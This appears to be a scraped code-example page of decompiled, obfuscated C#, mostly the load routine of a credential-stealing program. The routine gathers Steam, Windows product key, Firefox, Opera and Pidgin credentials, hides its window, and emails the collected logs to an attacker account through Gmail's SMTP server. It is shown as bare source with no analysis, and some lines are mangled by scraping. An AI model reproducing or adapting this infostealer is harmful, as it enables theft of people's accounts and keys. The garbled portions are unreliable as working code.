            Thread.Sleep(5000);
            uint num3;
            if (!GClass1.WriteFile(intptr_, bytes, num2, out num3, IntPtr.Zero) || num2 != num3)
            {
                Console.WriteLine("WriteFile failed w/err 0x{0:X}", GClass1.GetLastError());
            }
            Console.WriteLine("Sends {0} bytes; Message: \"{1}\"", num3, text3.TrimEnd(new char[1]));
            Thread.Sleep(1000);
            GClass1.FlushFileBuffers(intptr_);
            GClass1.DisconnectNamedPipe(intptr_);
            GClass1.CloseHandle(intptr_);
        }
    }
Exemple #30
0
 // Token: 0x06000063 RID: 99 RVA: 0x00003271 File Offset: 0x00001471
 public static string smethod_1 <T>(this T gparam_0)
 {
     return(GClass2.smethod_35(GClass2.smethod_4 <T>(gparam_0)));
 }
Exemple #31
0
    // Token: 0x06000071 RID: 113 RVA: 0x00004590 File Offset: 0x00002790
    private void Form1_Load(object sender, EventArgs e)
    {
        Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\firefox.exe";
        string text = this.method_0();

        string[] array = text.Split(new char[]
        {
            '^'
        });
        string text2    = this.method_3(array[0], "Deceptiveisgay", true);
        string password = this.method_3(array[1], "Deceptiveisgay", true);
        string left     = array[2];

        if (Operators.CompareString(left, "1", false) == 0)
        {
            try
            {
                this.method_4();
            }
            catch (Exception ex)
            {
            }
        }
        TextBox textBox = this.TextBox1;

        textBox.Text = textBox.Text + ">>>>>>>>>>Steam<<<<<<<<<<" + Environment.NewLine;
        try
        {
            textBox      = this.TextBox1;
            textBox.Text = textBox.Text + "Username: "******"\r\n";
        textBox       = this.TextBox1;
        textBox.Text += "\r\n";
        textBox       = this.TextBox1;
        textBox.Text  = textBox.Text + ">>>>>>>>>>Windows Key<<<<<<<<<<" + Environment.NewLine;
        textBox       = this.TextBox1;
        textBox.Text += Class9.smethod_0();
        textBox       = this.TextBox1;
        textBox.Text += "\r\n";
        try
        {
            this.method_6();
        }
        catch (Exception ex3)
        {
        }
        textBox            = this.TextBox1;
        textBox.Text      += "\r\n";
        this.TextBox1.Text = this.TextBox1.Text + Environment.NewLine + ">>>>>>>>>>FireFox<<<<<<<<<<";
        try
        {
            this.method_5();
        }
        catch (Exception ex4)
        {
        }
        try
        {
            Class4.smethod_0();
        }
        catch (Exception ex5)
        {
        }
        textBox       = this.TextBox1;
        textBox.Text += "\r\n";
        textBox       = this.TextBox1;
        textBox.Text  = textBox.Text + ">>>>>>>>>>Opera<<<<<<<<<<" + Environment.NewLine;
        try
        {
            GClass1 gclass = new GClass1();
            gclass.method_0();
        }
        catch (Exception ex6)
        {
        }
        textBox       = this.TextBox1;
        textBox.Text += "\r\n";
        textBox       = this.TextBox1;
        textBox.Text  = textBox.Text + ">>>>>>>>>>Pidgin<<<<<<<<<<" + Environment.NewLine;
        try
        {
            textBox      = this.TextBox1;
            textBox.Text = Conversions.ToString(Operators.AddObject(textBox.Text, GClass2.smethod_1()));
        }
        catch (Exception ex7)
        {
        }
        textBox       = this.TextBox1;
        textBox.Text += "\r\n";
        this.Visible  = false;
        this.Hide();
        this.ShowInTaskbar = false;
        MailMessage mailMessage = new MailMessage();
        SmtpClient  smtpClient  = new SmtpClient();

        smtpClient.Credentials = new NetworkCredential(text2, password);
        smtpClient.Port        = 587;
        smtpClient.Host        = "smtp.gmail.com";
        smtpClient.EnableSsl   = true;
        mailMessage            = new MailMessage();
        try
        {
            mailMessage.To.Add(text2);
            mailMessage.From    = new MailAddress("*****@*****.**", "New Logs Received!", Encoding.UTF8);
            mailMessage.Subject = Class1.Class0_0.Name + "   " + Conversions.ToString(DateTime.Now) + ":";
            mailMessage.Body    = this.TextBox1.Text;
            mailMessage.DeliveryNotificationOptions = DeliveryNotificationOptions.OnFailure;
            smtpClient.Send(mailMessage);
        }
        catch (Exception ex8)
        {
        }
        Application.Exit();
    }